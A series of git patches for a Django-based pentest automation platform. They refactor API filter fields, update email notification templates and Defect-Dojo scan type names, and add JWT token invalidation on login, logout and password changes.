127.0.0.1 port: 6379 -email: - # host: - # port: - # user: - # password: - tls: true tools: cmseek: directory: /usr/share/cmseek From 7cb7eae65bb9483a743b12e2c0efc368485beb6c Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 20 Oct 2023 22:49:30 +0200 Subject: [PATCH 021/141] Improve filter fields --- src/backend/authentications/filters.py | 8 ++-- src/backend/executions/filters.py | 22 ++++----- src/backend/findings/filters.py | 57 +++++------------------ src/backend/findings/framework/filters.py | 16 +++---- src/backend/framework/filters.py | 4 -- src/backend/parameters/filters.py | 15 +++--- src/backend/processes/filters.py | 26 +++++------ src/backend/projects/filters.py | 14 +++--- src/backend/target_ports/filters.py | 8 ++-- src/backend/targets/filters.py | 13 ++++-- src/backend/tasks/filters.py | 14 ++---- src/backend/tools/filters.py | 18 +++---- src/backend/users/filters.py | 36 +++----------- src/backend/wordlists/filters.py | 3 +- 14 files changed, 92 insertions(+), 162 deletions(-) diff --git a/src/backend/authentications/filters.py b/src/backend/authentications/filters.py index 50bdb4d3d..b65fdbd4d 100644 --- a/src/backend/authentications/filters.py +++ b/src/backend/authentications/filters.py @@ -1,18 +1,18 @@ from authentications.models import Authentication +from django_filters.filters import ModelChoiceFilter from django_filters.rest_framework import FilterSet class AuthenticationFilter(FilterSet): """FilterSet to filter and sort authentications entities.""" + target = ModelChoiceFilter(field_name="target_port__target") + project = ModelChoiceFilter(field_name="target_port__target__project") + class Meta: model = Authentication fields = { "target_port": ["exact", "isnull"], - "target_port__target": ["exact"], - "target_port__target__project": ["exact"], - "target_port__target__project__name": ["exact", "icontains"], - "target_port__target__target": ["exact", "icontains"], "name": ["exact", "icontains"], "type": ["exact"], } diff --git a/src/backend/executions/filters.py b/src/backend/executions/filters.py index a8f8251d9..4497c782f 100644 --- a/src/backend/executions/filters.py +++ b/src/backend/executions/filters.py @@ -1,27 +1,23 @@ +from django_filters.filters import ChoiceFilter, ModelChoiceFilter from django_filters.rest_framework import FilterSet from executions.models import Execution class ExecutionFilter(FilterSet): + target = ModelChoiceFilter(field_name="task__target") + project = ModelChoiceFilter(field_name="task__target__project") + process = ModelChoiceFilter(field_name="task__process") + tool = ModelChoiceFilter(field_name="configuration__tool") + stage = ChoiceFilter(field_name="configuration__stage") + intensity = ChoiceFilter(field_name="task__intensity") + executor = ModelChoiceFilter(field_name="task__executor") + class Meta: model = Execution fields = { "task": ["exact", "isnull"], - "task__target": ["exact"], - "task__target__target": ["exact", "icontains"], - "task__target__project": ["exact"], - "task__target__project__name": ["exact", "icontains"], - "task__process": ["exact"], "group": ["exact"], - "task__process__name": ["exact", "icontains"], - "task__intensity": ["exact"], - "task__executor": ["exact"], - "task__executor__username": ["exact", "icontains"], "configuration": ["exact"], - "configuration__name": ["exact", "icontains"], - "configuration__tool": ["exact"], - "configuration__tool__name": ["exact", "icontains"], - "configuration__stage": ["exact"], "status": ["exact"], "enqueued_at": ["gte", "lte", "exact"], "start": ["gte", "lte", "exact"], diff --git a/src/backend/findings/filters.py b/src/backend/findings/filters.py index 5e0183512..38fe14d38 100644 --- a/src/backend/findings/filters.py +++ b/src/backend/findings/filters.py @@ -1,3 +1,4 @@ +from django_filters.filters import ModelChoiceFilter from findings.framework.filters import FindingFilter from findings.models import ( OSINT, @@ -11,7 +12,6 @@ ) from framework.filters import ( MultipleCharFilter, - MultipleChoiceFilter, MultipleFieldFilterSet, MultipleNumberFilter, ) @@ -50,7 +50,6 @@ class Meta: fields.update( { "host": ["exact"], - "host__address": ["exact", "icontains"], "port": ["exact"], "status": ["exact"], "protocol": ["iexact"], @@ -60,15 +59,14 @@ class Meta: class PathFilter(FindingFilter): + host = ModelChoiceFilter(field_name="port__host") + class Meta: model = Path fields = FindingFilter.Meta.fields.copy() fields.update( { "port": ["exact"], - "port__host": ["exact"], - "port__host__address": ["exact", "icontains"], - "port__port": ["exact"], "path": ["exact", "icontains"], "status": ["exact"], "type": ["exact"], @@ -77,15 +75,14 @@ class Meta: class TechnologyFilter(FindingFilter): + host = ModelChoiceFilter(field_name="port__host") + class Meta: model = Technology fields = FindingFilter.Meta.fields.copy() fields.update( { "port": ["exact"], - "port__host": ["exact"], - "port__host__address": ["exact", "icontains"], - "port__port": ["exact"], "name": ["exact", "icontains"], "version": ["exact", "icontains"], "description": ["exact", "icontains"], @@ -95,16 +92,15 @@ class Meta: class CredentialFilter(FindingFilter): + port = ModelChoiceFilter(field_name="technology__port") + host = ModelChoiceFilter(field_name="technology__port__host") + class Meta: model = Credential fields = FindingFilter.Meta.fields.copy() fields.update( { "technology": ["exact"], - "technology__port": ["exact"], - "technology__port__host": ["exact"], - "technology__port__host__address": ["exact", "icontains"], - "technology__port__port": ["exact"], "technology__name": ["exact", "icontains"], "technology__version": ["exact", "icontains"], "email": ["exact", "icontains"], @@ -116,14 +112,7 @@ class Meta: class VulnerabilityFilter(FindingFilter): port = MultipleNumberFilter(fields=["technology__port", "port"]) - port__port = MultipleNumberFilter(fields=["technology__port__port", "port__port"]) host = MultipleNumberFilter(fields=["technology__port__host", "port__host"]) - host__address = MultipleCharFilter( - fields=["technology__port__host__address", "port__host__address"] - ) - host__os_type = MultipleChoiceFilter( - fields=["technology__port__host__os_type", "port__host__os_type"] - ) class Meta: model = Vulnerability @@ -151,13 +140,6 @@ class ExploitFilter(FindingFilter): "vulnerability__technology__port", ] ) - port__port = MultipleNumberFilter( - fields=[ - "technology__port__port", - "vulnerability__port__port", - "vulnerability__technology__port__port", - ] - ) host = MultipleNumberFilter( fields=[ "technology__port__host", @@ -165,20 +147,6 @@ class ExploitFilter(FindingFilter): "vulnerability__technology__port__host", ] ) - host__address = MultipleCharFilter( - fields=[ - "technology__port__host__address", - "vulnerability__port__host__address", - "vulnerability__technology__port__host__address", - ] - ) - host__os_type = MultipleChoiceFilter( - fields=[ - "technology__port__host__os_type", - "vulnerability__port__host__os_type", - "vulnerability__technology__port__host__os_type", - ] - ) technology = MultipleNumberFilter( fields=[ "technology", @@ -203,12 +171,11 @@ class Meta: fields = FindingFilter.Meta.fields.copy() fields.update( { - "vulnerability": ["exact"], - "vulnerability__name": ["exact", "icontains"], + "vulnerability": ["exact", "isnull"], "vulnerability__severity": ["exact"], - "vulnerability__cve": ["exact", "contains"], - "vulnerability__cwe": ["exact", "contains"], - "vulnerability__osvdb": ["exact", "contains"], + "vulnerability__cve": ["exact"], + "vulnerability__cwe": ["exact"], + "vulnerability__osvdb": ["exact"], "title": ["exact", "icontains"], "edb_id": ["exact"], "reference": ["exact", "icontains"], diff --git a/src/backend/findings/framework/filters.py b/src/backend/findings/framework/filters.py index 12e6a3a4e..f4c7b3d3c 100644 --- a/src/backend/findings/framework/filters.py +++ b/src/backend/findings/framework/filters.py @@ -1,21 +1,19 @@ +from django_filters.filters import ModelChoiceFilter from findings.models import OSINT from framework.filters import MultipleFieldFilterSet class FindingFilter(MultipleFieldFilterSet): + tool = ModelChoiceFilter(field_name="executions__configuration__tool") + task = ModelChoiceFilter(field_name="executions__task") + target = ModelChoiceFilter(field_name="executions__task__target") + project = ModelChoiceFilter(field_name="executions__task__target__project") + executor = ModelChoiceFilter(field_name="executions__task__executor") + class Meta: model = OSINT # It's needed to define a non-abstract model as default. It will be overwritten fields = { "executions": ["exact"], - "executions__configuration__tool": ["exact"], - "executions__configuration__tool__name": ["exact", "icontains"], - "executions__task": ["exact"], - "executions__task__target": ["exact"], - "executions__task__target__target": ["exact", "icontains"], - "executions__task__target__project": ["exact"], - "executions__task__target__project__name": ["exact", "icontains"], - "executions__task__executor": ["exact"], - "executions__task__executor__username": ["exact", "icontains"], "first_seen": ["gte", "lte", "exact"], "last_seen": ["gte", "lte", "exact"], "triage_status": ["exact"], diff --git a/src/backend/framework/filters.py b/src/backend/framework/filters.py index ca7104632..652a4ddc7 100644 --- a/src/backend/framework/filters.py +++ b/src/backend/framework/filters.py @@ -48,7 +48,3 @@ class MultipleNumberFilter(MultipleFieldFilter, filters.NumberFilter): class MultipleCharFilter(MultipleFieldFilter, filters.CharFilter): pass - - -class MultipleChoiceFilter(MultipleFieldFilter, filters.ChoiceFilter): - pass diff --git a/src/backend/parameters/filters.py b/src/backend/parameters/filters.py index 36ef270db..1b9b96d9e 100644 --- a/src/backend/parameters/filters.py +++ b/src/backend/parameters/filters.py @@ -1,3 +1,4 @@ +from django_filters.filters import ModelChoiceFilter from django_filters.rest_framework import FilterSet from parameters.models import InputTechnology, InputVulnerability @@ -5,13 +6,12 @@ class InputTechnologyFilter(FilterSet): """FilterSet to filter and sort input Technology entities.""" + project = ModelChoiceFilter(field_name="target__project") + class Meta: model = InputTechnology - fields = { # Filter fields + fields = { "target": ["exact"], - "target__project": ["exact"], - "target__project__name": ["exact", "icontains"], - "target__target": ["exact"], "name": ["exact", "icontains"], "version": ["exact", "icontains"], } @@ -20,12 +20,11 @@ class Meta: class InputVulnerabilityFilter(FilterSet): """FilterSet to filter and sort input Vulnerability entities.""" + project = ModelChoiceFilter(field_name="target__project") + class Meta: model = InputVulnerability - fields = { # Filter fields + fields = { "target": ["exact"], - "target__project": ["exact"], - "target__project__name": ["exact", "icontains"], - "target__target": ["exact"], "cve": ["exact"], } diff --git a/src/backend/processes/filters.py b/src/backend/processes/filters.py index e959552e6..ee0e380f8 100644 --- a/src/backend/processes/filters.py +++ b/src/backend/processes/filters.py @@ -1,37 +1,33 @@ +from django_filters.filters import CharFilter, ChoiceFilter, ModelChoiceFilter from django_filters.rest_framework import FilterSet from framework.filters import LikeFilter from processes.models import Process, Step class ProcessFilter(LikeFilter): + configuration = ModelChoiceFilter(field_name="steps__configuration") + tool = ModelChoiceFilter(field_name="steps__configuration__tool") + stage = ChoiceFilter(field_name="steps__configuration__stage") + tag = CharFilter(field_name="tags__name", lookup_expr="in") + class Meta: model = Process fields = { "name": ["exact", "icontains"], "description": ["exact", "icontains"], "owner": ["exact"], - "owner__username": ["exact", "icontains"], - "steps__configuration": ["exact"], - "steps__configuration__name": ["exact", "icontains"], - "steps__configuration__stage": ["exact"], - "steps__configuration__tool": ["exact"], - "steps__configuration__tool__name": ["exact", "icontains"], - "tags__name": ["in"], } class StepFilter(FilterSet): + owner = ModelChoiceFilter(field_name="process__owner") + tool = ModelChoiceFilter(field_name="configuration__tool") + stage = ChoiceFilter(field_name="configuration__stage") + tag = CharFilter(field_name="configuration__tool", lookup_expr="in") + class Meta: model = Step fields = { "process": ["exact"], - "process__name": ["exact", "icontains"], - "process__description": ["exact", "icontains"], - "process__owner": ["exact"], - "process__tags__name": ["in"], "configuration": ["exact"], - "configuration__name": ["exact", "icontains"], - "configuration__stage": ["exact"], - "configuration__tool": ["exact"], - "configuration__tool__name": ["exact", "icontains"], } diff --git a/src/backend/projects/filters.py b/src/backend/projects/filters.py index 51172d351..99f7397f7 100644 --- a/src/backend/projects/filters.py +++ b/src/backend/projects/filters.py @@ -1,3 +1,4 @@ +from django_filters.filters import CharFilter, NumberFilter from django_filters.rest_framework import FilterSet from projects.models import Project @@ -5,17 +6,18 @@ class ProjectFilter(FilterSet): """FilterSet to filter Project entities.""" + tag = CharFilter(field_name="tags__name", lookup_expr="in") + defect_dojo_product_type = NumberFilter( + field_name="defect_dojo_sync__product_type_id" + ) + defect_dojo_product = NumberFilter(field_name="defect_dojo_sync__product_id") + defect_dojo_engagement = NumberFilter(field_name="defect_dojo_sync__engagement_id") + class Meta: model = Project fields = { "name": ["exact", "icontains"], "owner": ["exact"], - "owner__username": ["exact"], "members": ["exact"], - "tags__name": ["in"], "defect_dojo_sync": ["exact"], - "defect_dojo_sync__product_type_id": ["exact"], - "defect_dojo_sync__product_id": ["exact"], - "defect_dojo_sync__engagement_id": ["exact"], - "defect_dojo_sync__engagement_per_target": ["exact"], } diff --git a/src/backend/target_ports/filters.py b/src/backend/target_ports/filters.py index 2db4daa8c..b8ada9fb4 100644 --- a/src/backend/target_ports/filters.py +++ b/src/backend/target_ports/filters.py @@ -1,3 +1,4 @@ +from django_filters.filters import ModelChoiceFilter from django_filters.rest_framework import FilterSet from target_ports.models import TargetPort @@ -5,15 +6,14 @@ class TargetPortFilter(FilterSet): """FilterSet to filter and sort Target Port entities.""" + project = ModelChoiceFilter(field_name="target__project") + class Meta: """FilterSet metadata.""" model = TargetPort - fields = { # Filter fields + fields = { "target": ["exact"], - "target__project": ["exact"], - "target__project__name": ["exact", "icontains"], - "target__target": ["exact", "icontains"], "port": ["exact"], "path": ["exact", "icontains"], } diff --git a/src/backend/targets/filters.py b/src/backend/targets/filters.py index 094734549..657d366a3 100644 --- a/src/backend/targets/filters.py +++ b/src/backend/targets/filters.py @@ -1,3 +1,4 @@ +from django_filters.filters import NumberFilter from django_filters.rest_framework import FilterSet from targets.models import Target @@ -5,15 +6,19 @@ class TargetFilter(FilterSet): """FilterSet to filter and sort Target entities.""" + defect_dojo_product_type = NumberFilter( + field_name="defect_dojo_sync__defect_dojo_sync__product_type_id" + ) + defect_dojo_product = NumberFilter( + field_name="defect_dojo_sync__defect_dojo_sync__product_id" + ) + defect_dojo_engagement = NumberFilter(field_name="defect_dojo_sync__engagement_id") + class Meta: model = Target fields = { "project": ["exact"], - "project__name": ["exact", "icontains"], "target": ["exact", "icontains"], "type": ["exact"], "defect_dojo_sync": ["exact"], - "defect_dojo_sync__engagement_id": ["exact"], - "defect_dojo_sync__defect_dojo_sync__product_type_id": ["exact"], - "defect_dojo_sync__defect_dojo_sync__product_id": ["exact"], } diff --git a/src/backend/tasks/filters.py b/src/backend/tasks/filters.py index 8a24ed325..9916f6db3 100644 --- a/src/backend/tasks/filters.py +++ b/src/backend/tasks/filters.py @@ -1,25 +1,21 @@ +from django_filters.filters import ChoiceFilter, ModelChoiceFilter from django_filters.rest_framework import FilterSet from tasks.models import Task class TaskFilter(FilterSet): + project = ModelChoiceFilter(field_name="target__project") + tool = ModelChoiceFilter(field_name="configuration__tool") + stage = ChoiceFilter(field_name="configuration__stage") + class Meta: model = Task fields = { "target": ["exact"], - "target__target": ["exact", "icontains"], - "target__project": ["exact"], - "target__project__name": ["exact", "icontains"], "process": ["exact"], - "process__name": ["exact", "icontains"], "configuration": ["exact"], - "configuration__name": ["exact", "icontains"], - "configuration__tool": ["exact"], - "configuration__tool__name": ["exact", "icontains"], - "configuration__stage": ["exact"], "intensity": ["exact"], "executor": ["exact"], - "executor__username": ["exact", "icontains"], "creation": ["gte", "lte", "exact"], "enqueued_at": ["gte", "lte", "exact"], "start": ["gte", "lte", "exact"], diff --git a/src/backend/tools/filters.py b/src/backend/tools/filters.py index 7be9bffcb..fe3e28dd6 100644 --- a/src/backend/tools/filters.py +++ b/src/backend/tools/filters.py @@ -1,9 +1,15 @@ +from django_filters.filters import CharFilter, ChoiceFilter from django_filters.rest_framework import FilterSet from framework.filters import LikeFilter from tools.models import Configuration, Tool class ToolFilter(LikeFilter): + stage = ChoiceFilter(field_name="configurations__stage") + intensity = ChoiceFilter(field_name="intensities__value") + input = CharFilter(field_name="arguments__inputs__type__name") + output = CharFilter(field_name="configurations__outputs__type__name") + class Meta: model = Tool fields = { @@ -13,25 +19,19 @@ class Meta: "is_installed": ["exact"], "version": ["exact", "icontains"], "configurations": ["exact"], - "configurations__name": ["exact", "icontains"], - "configurations__stage": ["exact"], - "intensities__value": ["exact"], - "arguments__inputs__type__name": ["exact"], - "configurations__outputs__type__name": ["exact"], } class ConfigurationFilter(FilterSet): + input = CharFilter(field_name="tool__arguments__inputs__type__name") + output = CharFilter(field_name="outputs__type__name") + class Meta: model = Configuration fields = { "name": ["exact", "icontains"], "tool": ["exact"], - "tool__name": ["exact", "icontains"], - "tool__command": ["exact", "icontains"], "arguments": ["exact", "icontains"], "stage": ["exact"], "default": ["exact"], - "tool__arguments__inputs__type__name": ["exact"], - "outputs__type__name": ["exact"], } diff --git a/src/backend/users/filters.py b/src/backend/users/filters.py index 04e5059e4..8734a6aee 100644 --- a/src/backend/users/filters.py +++ b/src/backend/users/filters.py @@ -1,5 +1,6 @@ from django.db.models import QuerySet -from django_filters.rest_framework import FilterSet, filters +from django_filters.filters import CharFilter, NumberFilter +from django_filters.rest_framework import FilterSet from projects.models import Project from users.models import User @@ -7,14 +8,12 @@ class UserFilter(FilterSet): """FilterSet to filter and sort User entities.""" - # Get users that are members of these project - project = filters.NumberFilter( - field_name="project", method="filter_project_members" - ) + project = NumberFilter(field_name="project", method="filter_project_members") # Get users that aren't members of these project - project__ne = filters.NumberFilter( - field_name="project__ne", method="filter_project_members_ne" + no_project = NumberFilter( + field_name="project", method="filter_project_members", exclude=True ) + role = CharFilter(field_name="groups__name") class Meta: """FilterSet metadata.""" @@ -28,7 +27,6 @@ class Meta: "is_active": ["exact"], "date_joined": ["gte", "lte", "exact"], "groups": ["exact"], - "groups__name": ["exact"], } def filter_project_members( @@ -52,25 +50,3 @@ def filter_project_members( ) except Project.DoesNotExist: return queryset.none() - - def filter_project_members_ne( - self, queryset: QuerySet, name: str, value: int - ) -> QuerySet: - """Filter queryset, including only users that aren't members of a specific project. - - Args: - queryset (QuerySet): User queryset to be filtered - name (str): Field name, not used in this case - value (int): Project Id - - Returns: - QuerySet: Filtered queryset by project - """ - try: - return queryset.filter(is_active=True).exclude( - id__in=self.request.user.projects.get(pk=value) - .members.all() - .values("id") - ) - except Project.DoesNotExist: - return queryset.none() diff --git a/src/backend/wordlists/filters.py b/src/backend/wordlists/filters.py index 0dc6499d9..cdfdc5bde 100644 --- a/src/backend/wordlists/filters.py +++ b/src/backend/wordlists/filters.py @@ -7,10 +7,9 @@ class WordlistFilter(LikeFilter): class Meta: model = Wordlist - fields = { # Filter fields + fields = { "name": ["exact", "icontains"], "type": ["exact"], "owner": ["exact"], - "owner__username": ["exact", "icontains"], "size": ["gte", "lte", "exact"], } From b5b43dafb1bddf4ae92bf328c35df9674c4e342c Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 20 Oct 2023 22:50:00 +0200 Subject: [PATCH 022/141] Improve notifications of executions via mail --- src/backend/platforms/mail/notifications.py | 2 - .../templates/execution_notification.html | 75 ++++++++++++------- 2 files changed, 50 insertions(+), 27 deletions(-) diff --git a/src/backend/platforms/mail/notifications.py b/src/backend/platforms/mail/notifications.py index 81c88a6d5..08e971ce1 100644 --- a/src/backend/platforms/mail/notifications.py +++ b/src/backend/platforms/mail/notifications.py @@ -68,8 +68,6 @@ def _notify_execution( "execution_notification.html", { "execution": execution, - "tool": execution.configuration.tool, - "configuration": execution.configuration, **findings_by_class, }, ) diff --git a/src/backend/platforms/mail/templates/execution_notification.html b/src/backend/platforms/mail/templates/execution_notification.html index 6d887d411..2f5a72ac2 100644 --- a/src/backend/platforms/mail/templates/execution_notification.html +++ b/src/backend/platforms/mail/templates/execution_notification.html @@ -24,15 +24,15 @@

{{ execution.task.target.project.name }}

Tool

- {% if tool.icon %} - {{ tool.name }} + {% if execution.configuration.tool.icon %} + {{ execution.configuration.tool.name }} {% endif %} - {{ tool.name }} + {{ execution.configuration.tool.name }}

Configuration

-

{{ configuration.name }}

+

{{ execution.configuration.name }}

@@ -120,17 +120,17 @@

{{ execution.task.target.project.name }}

- {% for e in port %} + {% for p in port %} - {% if e.host %} - {{ e.host.address }} + {% if p.host %} + {{ p.host.address }} {% else %} {% endif %} - {{ e.port }} - {{ e.status }} - {{ e.protocol }} - {{ e.service }} + {{ p.port }} + {{ p.status }} + {{ p.protocol }} + {{ p.service }} {% endfor %} @@ -150,19 +150,19 @@

{{ execution.task.target.project.name }}

- {% for e in path %} + {% for p in path %} - {% if e.port and e.port.host %} - {{ e.port.host.address }} - {{ e.port.port }} - {% elif e.port %} - {{ e.port.port }} + {% if p.port and p.port.host %} + {{ p.port.host.address }} - {{ p.port.port }} + {% elif p.port %} + {{ p.port.port }} {% else %} {% endif %} - {{ e.type }} - {{ e.path }} - {{ e.status }} - {{ e.extra }} + {{ p.type }} + {{ p.path }} + {{ p.status }} + {{ p.extra }} {% endfor %} @@ -177,6 +177,7 @@

{{ execution.task.target.project.name }}

Port Name Version + Reference @@ -191,6 +192,12 @@

{{ execution.task.target.project.name }}

{% endif %} {{ t.name }} {{ t.version }} + {% if v.reference %} + + Link + {% else %} + + {% endif %} {% endfor %} @@ -202,6 +209,7 @@

{{ execution.task.target.project.name }}

Credentials + Technology Email Username Secret @@ -211,6 +219,11 @@

{{ execution.task.target.project.name }}

{% for c in credential %} + {% if c.technology %} + {{ c.technology.name }} + {% else %} + + {% endif %} {{ c.email }} {{ c.username }} {{ c.secret }} @@ -231,6 +244,7 @@

{{ execution.task.target.project.name }}

Name Severity CVE + CWE Reference @@ -252,6 +266,7 @@

{{ execution.task.target.project.name }}

{{ v.name }} {{ v.severity }} {{ v.cve }} + {{ v.cwe }} {% if v.reference %} Link @@ -280,17 +295,27 @@

{{ execution.task.target.project.name }}

{% if e.vulnerability %} {{ e.vulnerability.name }} - {% else %} + {% if e.vulnerability.technology %} + {{ e.vulnerability.technology.name }} + {% elif e.technology %} + {{ e.technology.name }} + {% else %} + + {% endif %} + {% elif e.technology %} - {% endif %} - {% if e.technology %} {{ e.technology.name }} {% else %} + {% endif %} {{ e.title }} - - {{ e.edb_id }} + {% if v.reference %} + + {{ e.edb_id }} + {% else %} + + {% endif %} {% endfor %} From f52380931a65d7128e0d98c9a198c18aae6ca9d4 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 20 Oct 2023 22:50:33 +0200 Subject: [PATCH 023/141] Update Defect-Dojo scan types for supported tools --- src/backend/tools/fixtures/1_tools.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/backend/tools/fixtures/1_tools.json b/src/backend/tools/fixtures/1_tools.json index 7f79f4150..31b68e974 100644 --- a/src/backend/tools/fixtures/1_tools.json +++ b/src/backend/tools/fixtures/1_tools.json @@ -110,7 +110,7 @@ "output_format": "json", "reference": "https://nabla-c0d3.github.io/sslyze/documentation/", "icon": "https://www.kali.org/tools/sslyze/images/sslyze-logo.svg", - "defect_dojo_scan_type": "SSLyze 3 Scan (JSON)" + "defect_dojo_scan_type": "SSLyze Scan (JSON)" } }, { @@ -281,7 +281,7 @@ "output_format": "json", "reference": "https://github.com/zricethezav/gitleaks", "icon": "https://gitleaks.io/favicon.ico", - "defect_dojo_scan_type": "Gitleaks" + "defect_dojo_scan_type": "Gitleaks Scan" } }, { @@ -338,7 +338,7 @@ "output_format": "json", "reference": "https://nuclei.projectdiscovery.io", "icon": "https://nuclei.projectdiscovery.io/static/favicon.png", - "defect_dojo_scan_type": "Nuclei" + "defect_dojo_scan_type": "Nuclei Scan" } }, { From 1d056ea136db98615380e63a23cf02c1d5f1b6f7 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 20 Oct 2023 22:52:03 +0200 Subject: [PATCH 024/141] Invalidate tokens before login, after logout and password changes, as well as, Telegram bot chats --- src/backend/rekono/settings.py | 2 ++ .../security/authentication/serializers.py | 18 ++--------- src/backend/security/authentication/urls.py | 15 +++------ src/backend/security/authentication/views.py | 31 ------------------- src/backend/users/models.py | 15 +++++++++ 5 files changed, 24 insertions(+), 57 deletions(-) diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index e1a921ce5..2c2d85ea4 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -48,6 +48,7 @@ "django.contrib.staticfiles", "drf_spectacular", "rest_framework", + "rest_framework_simplejwt.token_blacklist", "taggit", "api_tokens", "authentications", @@ -143,6 +144,7 @@ "REFRESH_TOKEN_LIFETIME": timedelta(hours=1), "ROTATE_REFRESH_TOKENS": True, "BLACKLIST_AFTER_ROTATION": True, + "TOKEN_OBTAIN_SERIALIZER": "security.authentication.serializers.LoginSerializer", "UPDATE_LAST_LOGIN": True, "ALGORITHM": "HS512", "SIGNING_KEY": SECRET_KEY, diff --git a/src/backend/security/authentication/serializers.py b/src/backend/security/authentication/serializers.py index 2b3281b58..6c36be009 100644 --- a/src/backend/security/authentication/serializers.py +++ b/src/backend/security/authentication/serializers.py @@ -2,17 +2,16 @@ from typing import Any, Dict from platforms.mail.notifications import SMTP -from rest_framework.serializers import CharField, Serializer from rest_framework_simplejwt.serializers import TokenObtainPairSerializer -from rest_framework_simplejwt.tokens import RefreshToken from security.authorization.roles import Role from users.models import User -logger = logging.getLogger() # Rekono logger +logger = logging.getLogger() class LoginSerializer(TokenObtainPairSerializer): def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + User.objects.invalidate_all_tokens(self.user) attrs = super().validate(attrs) SMTP().login_notification(self.user) logger.info( @@ -23,18 +22,7 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: @classmethod def get_token(cls, user: User) -> Dict[str, Any]: - token = super().get_token(user) # Get standard claims + token = super().get_token(user) group = user.groups.first() token["role"] = group.name if group else Role.READER.value return token - - -class LogoutSerializer(Serializer): - """Serializer to user logout via API.""" - - refresh_token = CharField(max_length=500, required=True) - - def save(self, **kwargs: Any) -> None: - """Perform the logout operation, including the refresh token in the blacklist.""" - token = RefreshToken(self.validated_data.get("refresh_token")) - token.blacklist() # Add refresh token to the blacklist diff --git a/src/backend/security/authentication/urls.py b/src/backend/security/authentication/urls.py index 105cfa836..632cd073c 100644 --- a/src/backend/security/authentication/urls.py +++ b/src/backend/security/authentication/urls.py @@ -1,20 +1,13 @@ -from django.urls import include, path -from rest_framework.routers import SimpleRouter -from security.authentication.views import ( - LoginViewSet, - LogoutViewSet, - RefreshTokenViewSet, -) +from django.urls import path +from rest_framework_simplejwt.views import TokenBlacklistView +from security.authentication.views import LoginViewSet, RefreshTokenViewSet # Register your views here. -router = SimpleRouter() -router.register("security/logout", LogoutViewSet, basename="logout") - urlpatterns = [ path("security/login/", LoginViewSet.as_view(), name="login"), path( "security/refresh-token/", RefreshTokenViewSet.as_view(), name="refresh-token" ), - path("", include(router.urls)), + path("security/logout/", TokenBlacklistView.as_view(), name="logout"), ] diff --git a/src/backend/security/authentication/views.py b/src/backend/security/authentication/views.py index 5a88a7566..29b1ff8cb 100644 --- a/src/backend/security/authentication/views.py +++ b/src/backend/security/authentication/views.py @@ -1,23 +1,10 @@ -import logging -from typing import Any - -from drf_spectacular.utils import extend_schema -from framework.views import BaseViewSet -from rest_framework import status -from rest_framework.permissions import IsAuthenticated -from rest_framework.request import Request -from rest_framework.response import Response from rest_framework_simplejwt.views import TokenObtainPairView, TokenRefreshView -from security.authentication.serializers import LoginSerializer, LogoutSerializer from security.authorization.permissions import IsNotAuthenticated -logger = logging.getLogger() # Rekono logger - class LoginViewSet(TokenObtainPairView): """Token ViewSet that includes the user login (get access and refresh token).""" - serializer_class = LoginSerializer permission_classes = [IsNotAuthenticated] throttle_scope = "login" @@ -26,21 +13,3 @@ class RefreshTokenViewSet(TokenRefreshView): """Token ViewSet that includes the refresh access token feature.""" throttle_scope = "refresh" - - -class LogoutViewSet(BaseViewSet): - """Logout ViewSet that includes the user logout feature.""" - - queryset = None - serializer_class = LogoutSerializer - permission_classes = [IsAuthenticated] - http_method_names = [ - "post", - ] - - @extend_schema(responses={200: None}) - def create(self, request: Request, *args: Any, **kwargs: Any) -> Response: - serializer = LogoutSerializer(data=request.data) - serializer.is_valid(raise_exception=True) - serializer.save() - return Response(status=status.HTTP_200_OK) # Logged out diff --git a/src/backend/users/models.py b/src/backend/users/models.py index 1a84f8086..97f88dd77 100644 --- a/src/backend/users/models.py +++ b/src/backend/users/models.py @@ -8,6 +8,10 @@ from framework.models import BaseModel from platforms.mail.notifications import SMTP from rekono.settings import CONFIG +from rest_framework_simplejwt.token_blacklist.models import ( + BlacklistedToken, + OutstandingToken, +) from security.authentication.api import ApiToken from security.authorization.roles import Role from security.utils.cryptography import generate_random_value, hash @@ -174,6 +178,8 @@ def update_password(self, user: Any, password: str) -> Any: f"[Security] User {user.id} changed his password", extra={"user": user.id}, ) + user.telegram_chat.delete() + self.invalidate_all_tokens(user) return user def reset_password(self, user: Any, password: str) -> Any: @@ -184,6 +190,15 @@ def reset_password(self, user: Any, password: str) -> Any: user.save(update_fields=["otp", "otp_expiration", "is_active"]) return user + def invalidate_all_tokens(self, user: Any) -> Any: + for token in OutstandingToken.objects.filter(user=user).exclude( + id__in=BlacklistedToken.objects.filter(token__user=user).values_list( + "token_id", flat=True + ), + ): + BlacklistedToken.objects.create(token=token) + return user + class User(AbstractUser, BaseModel): """User model.""" From b21abd9fcfe9e433aa85427d036eec526f82fd79 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sun, 12 Nov 2023 19:50:07 +0100 Subject: [PATCH 025/141] Fix fixtures loading after migrations --- .dockerignore | 11 +++++--- src/backend/api_tokens/apps.py | 3 ++- src/backend/authentications/apps.py | 3 ++- src/backend/executions/apps.py | 3 ++- src/backend/findings/apps.py | 3 ++- src/backend/framework/apps.py | 28 ++++++++++++++++---- src/backend/input_types/apps.py | 12 ++++----- src/backend/parameters/apps.py | 3 ++- src/backend/platforms/mail/apps.py | 22 +++++++-------- src/backend/platforms/telegram_app/apps.py | 22 +++++++-------- src/backend/processes/apps.py | 22 ++++++--------- src/backend/projects/apps.py | 3 ++- src/backend/rekono/settings.py | 16 +++++------ src/backend/security/apps.py | 3 ++- src/backend/settings/apps.py | 17 +++++++----- src/backend/settings/fixtures/1_default.json | 2 +- src/backend/target_ports/apps.py | 3 ++- src/backend/targets/apps.py | 3 ++- src/backend/tasks/apps.py | 3 ++- src/backend/tools/apps.py | 8 +++--- src/backend/users/apps.py | 12 +++++---- src/backend/wordlists/apps.py | 24 +++++++++-------- 22 files changed, 125 insertions(+), 101 deletions(-) diff --git a/.dockerignore b/.dockerignore index e99393750..5a3874102 100644 --- a/.dockerignore +++ b/.dockerignore @@ -7,11 +7,14 @@ .pre-commit-config.yaml 